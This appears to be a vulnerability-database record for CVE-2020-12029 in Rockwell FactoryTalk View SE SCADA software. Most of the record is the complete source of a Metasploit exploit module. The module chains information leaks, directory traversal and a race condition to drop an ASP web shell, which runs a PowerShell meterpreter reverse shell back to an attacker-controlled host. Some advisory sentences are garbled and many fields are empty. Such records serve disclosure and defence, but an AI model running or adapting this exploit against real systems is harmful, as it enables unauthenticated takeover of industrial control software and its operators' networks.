ID

VAR-202007-0195

CVE

CVE-2020-12029

TITLE

FactoryTalk View SE Vulnerability regarding input verification in

DESCRIPTION

All versions of FactoryTalk View SE do not properly validate input of filenames within a project directory. A remote, unauthenticated attacker may be able to execute a crafted file on a remote endpoint that may result in remote code execution (RCE). Rockwell Automation recommends applying patch 1126289. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

local

TYPE

input validation error

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Team FLASHBACK: Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) and Radek Domanski (@RabbitPro)

SOURCES

LAST UPDATE DATE

2024-11-23T21:59:09.803000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE